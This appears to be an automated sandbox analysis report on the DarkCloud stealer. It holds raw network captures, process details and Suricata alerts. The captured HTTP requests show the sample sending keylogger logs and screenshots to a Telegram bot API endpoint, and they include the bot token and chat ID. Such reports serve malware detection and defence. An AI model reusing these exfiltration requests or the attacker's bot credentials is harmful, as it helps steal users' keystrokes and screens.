f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii:
2024-11-25 12:56:53 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 25 Nov 2024 12:56:53 GMT Content-Type: application/json Content-Length: 592 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.9	49961	149.154.167.220	443	2220	C:\Users\user\Desktop\MSM8C42iAN.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 12:56:54 UTC	550	OUT	POST /bot8165068013:AAFuCn4n-0ULh45xSnNPfqymllZH1zW0UYM/sendDocument?chat_id=6115850689&caption=DC-KL:::user-PC\user\8.46.123.75 HTTP/1.1 Accept: / Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113 Accept-Language: en-ch Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: api.telegram.org Content-Length: 601 Connection: Keep-Alive Cache-Control: no-cache
2024-11-25 12:56:54 UTC	601	OUT	Data Raw: 2d 2d 33 66 62 64 30 34 66 35 2d 62 31 65 64 2d 34 30 36 30 2d 39 39 62 39 2d 66 63 61 37 66 66 35 39 63 31 31 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4b 65 79 44 61 74 61 44 71 4a 64 70 6d 48 6f 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 0d 0a 5b 30 37 3a 35 36 3a 34 34 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 67 65 72 3e 3e 0d 0a 0d 0a 5b 30 37 3a 35 36 3a 34 34 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 67 65 72 3e 3e 0d 0a 0d 0a 5b 30 37 3a 35 36 3a 34 34 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 Data Ascii: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113Content-Disposition: form-data; name="document"; filename="KeyDataDqJdpmHo.txt"Content-Type: application/octet-stream[07:56:44]<<Program Manager>>[07:56:44]<<Program Manager>>[07:56:44]<<Program Mana
2024-11-25 12:56:55 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 25 Nov 2024 12:56:55 GMT Content-Type: application/json Content-Length: 586 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-25 12:56:55 UTC	586	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 36 33 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 38 31 36 35 30 36 38 30 31 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 44 61 72 6b 63 6c 6f 75 64 5f 52 65 73 75 6c 74 5f 62 6f 78 38 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 44 61 72 6b 63 6c 6f 75 64 5f 52 65 73 75 6c 74 5f 62 6f 78 38 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 36 31 31 35 38 35 30 36 38 39 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 68 69 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 42 6f 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 48 52 77 65 62 63 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":2636,"from":{"id":8165068013,"is_bot":true,"first_name":"Darkcloud_Result_box8","username":"Darkcloud_Result_box8_Bot"},"chat":{"id":6115850689,"first_name":"Chi","last_name":"Boy","username":"HRwebc","type":"private"},"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.9	49970	149.154.167.220	443	2220	C:\Users\user\Desktop\MSM8C42iAN.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 12:56:59 UTC	554	OUT	POST /bot8165068013:AAFuCn4n-0ULh45xSnNPfqymllZH1zW0UYM/sendDocument?chat_id=6115850689&caption=DC-SC:::user-PC\user\8.46.123.75 HTTP/1.1 Accept: / Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113 Accept-Language: en-ch Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: api.telegram.org Content-Length: 3932422 Connection: Keep-Alive Cache-Control: no-cache
2024-11-25 12:56:59 UTC	16355	OUT	Data Raw: 2d 2d 33 66 62 64 30 34 66 35 2d 62 31 65 64 2d 34 30 36 30 2d 39 39 62 39 2d 66 63 61 37 66 66 35 39 63 31 31 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 63 72 65 65 6e 73 68 6f 74 77 6f 46 42 4e 58 58 45 2e 42 4d 50 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 42 4d 36 00 3c 00 00 00 00 00 36 00 00 00 28 00 00 00 00 05 00 00 00 04 00 00 01 00 18 00 00 00 00 00 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 24 1a 00 24 1a 00 23 1a 00 23 1a 00 23 1a 00 23 1a 00 23 1a 00 23 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a Data Ascii: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113Content-Disposition: form-data; name="document"; filename="ScreenshotwoFBNXXE.BMP"Content-Type: application/octet-streamBM6<6(<$$######$$$$
2024-11-25 12:56:59 UTC	16355	OUT	Data Raw: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii:
2024-11-25 12:56:59 UTC	16355	OUT	Data Raw: 22 16 00 22 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 19 01 24 24 03 2d 46 0c 35 68 15 3b 81 1b 3e 8c 1e 19 aa b2 09 a5 d9 10 84 a9 17 51 59 1f 23 13 21 18 03 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 Data Ascii: ""!!!!!!!!!!!!!!!!$$-F5h;>QY#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
2024-11-25 12:56:59 UTC	16355	OUT	Data Raw: 00 1e 11 00 1e 11 00 1e 11 00 1e 11 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f Data Ascii:
2024-11-25 12:56:59 UTC	16355	OUT	Data Raw: 0b 01 ff ff ff 1b 0b 00 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 00 1b 0b 00 1b 0b 00 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 00 1b 0b 00 1b 0a 01 1b 0a 00 1b 0b 01 1b 0b 01 1b 0a 01 76 6c 67 1b 0a 01 1b 0b 01 1b 0b 01 1b 0b 01 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 24 1a 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 c2 c2 c2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii: vlg$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
2024-11-25 12:56:59 UTC	16355	OUT	Data Raw: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii:
2024-11-25 12:56:59 UTC	16355	OUT	Data Raw: 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 14 00 21 14 00 21 15 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 Data Ascii: !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
2024-11-25 12:56:59 UTC	16355	OUT	Data Raw: 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1d 0f 00 1d 0f 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d Data Ascii:
2024-11-25 12:56:59 UTC	232	OUT	Data Raw: 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 c2 c2 c2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii: $$$$$$$$$$$$$$$$$$$$$$$$$$$$
2024-11-25 12:56:59 UTC	16355	OUT	Data Raw: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii:
2024-11-25 12:57:07 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 25 Nov 2024 12:57:07 GMT Content-Type: application/json Content-Length: 592 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Target ID:	0
Start time:	07:55:02
Start date:	25/11/2024
Path:	C:\Users\user\Desktop\MSM8C42iAN.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\MSM8C42iAN.exe"
Imagebase:	0x400000
File size:	459'776 bytes
MD5 hash:	1A170C3B6FBA79020B7C24631D25AD93
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DarkCloud, Description: Yara detected DarkCloud, Source: 00000000.00000000.1332379073.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	07:55:10
Start date:	25/11/2024
Path:	C:\Windows\SysWOW64\wbem\WmiPrvSE.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\sysWOW64\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0xd80000
File size:	418'304 bytes
MD5 hash:	64ACA4F48771A5BA50CD50F2410632AD
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Source: Network traffic	Suricata IDS: 2852388 - Severity 1 - ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4 : 192.168.2.9:49810 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852388 - Severity 1 - ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4 : 192.168.2.9:49819 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2045300 - Severity 1 - ET MALWARE DarkCloud Stealer Key Logger Function Exfiltrating Data via Telegram : 192.168.2.9:49810 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852388 - Severity 1 - ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4 : 192.168.2.9:49843 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852388 - Severity 1 - ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4 : 192.168.2.9:49858 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2045300 - Severity 1 - ET MALWARE DarkCloud Stealer Key Logger Function Exfiltrating Data via Telegram : 192.168.2.9:49858 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852388 - Severity 1 - ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4 : 192.168.2.9:49867 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852388 - Severity 1 - ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4 : 192.168.2.9:49882 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2045300 - Severity 1 - ET MALWARE DarkCloud Stealer Key Logger Function Exfiltrating Data via Telegram : 192.168.2.9:49882 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852388 - Severity 1 - ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4 : 192.168.2.9:49891 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852388 - Severity 1 - ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4 : 192.168.2.9:49918 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852388 - Severity 1 - ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4 : 192.168.2.9:49907 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2045300 - Severity 1 - ET MALWARE DarkCloud Stealer Key Logger Function Exfiltrating Data via Telegram : 192.168.2.9:49907 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852388 - Severity 1 - ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4 : 192.168.2.9:49945 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852388 - Severity 1 - ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4 : 192.168.2.9:49934 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2045300 - Severity 1 - ET MALWARE DarkCloud Stealer Key Logger Function Exfiltrating Data via Telegram : 192.168.2.9:49934 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852388 - Severity 1 - ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4 : 192.168.2.9:49961 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2045300 - Severity 1 - ET MALWARE DarkCloud Stealer Key Logger Function Exfiltrating Data via Telegram : 192.168.2.9:49961 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852388 - Severity 1 - ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4 : 192.168.2.9:49970 -> 149.154.167.220:443

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 162.55.60.2 162.55.60.2

Source: global traffic	HTTP traffic detected: POST /bot8165068013:AAFuCn4n-0ULh45xSnNPfqymllZH1zW0UYM/sendDocument?chat_id=6115850689&caption=DC-KL:::user-PC\user\8.46.123.75 HTTP/1.1Accept: /Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: api.telegram.orgContent-Length: 8455Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /bot8165068013:AAFuCn4n-0ULh45xSnNPfqymllZH1zW0UYM/sendDocument?chat_id=6115850689&caption=DC-SC:::user-PC\user\8.46.123.75 HTTP/1.1Accept: /Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: api.telegram.orgContent-Length: 3932422Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /bot8165068013:AAFuCn4n-0ULh45xSnNPfqymllZH1zW0UYM/sendDocument?chat_id=6115850689&caption=DC-SC:::user-PC\user\8.46.123.75 HTTP/1.1Accept: /Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: api.telegram.orgContent-Length: 3932422Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /bot8165068013:AAFuCn4n-0ULh45xSnNPfqymllZH1zW0UYM/sendDocument?chat_id=6115850689&caption=DC-KL:::user-PC\user\8.46.123.75 HTTP/1.1Accept: /Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: api.telegram.orgContent-Length: 634Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /bot8165068013:AAFuCn4n-0ULh45xSnNPfqymllZH1zW0UYM/sendDocument?chat_id=6115850689&caption=DC-SC:::user-PC\user\8.46.123.75 HTTP/1.1Accept: /Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: api.telegram.orgContent-Length: 3932422Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /bot8165068013:AAFuCn4n-0ULh45xSnNPfqymllZH1zW0UYM/sendDocument?chat_id=6115850689&caption=DC-KL:::user-PC\user\8.46.123.75 HTTP/1.1Accept: /Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: api.telegram.orgContent-Length: 601Connection: Keep-AliveCache-Control: no-cache
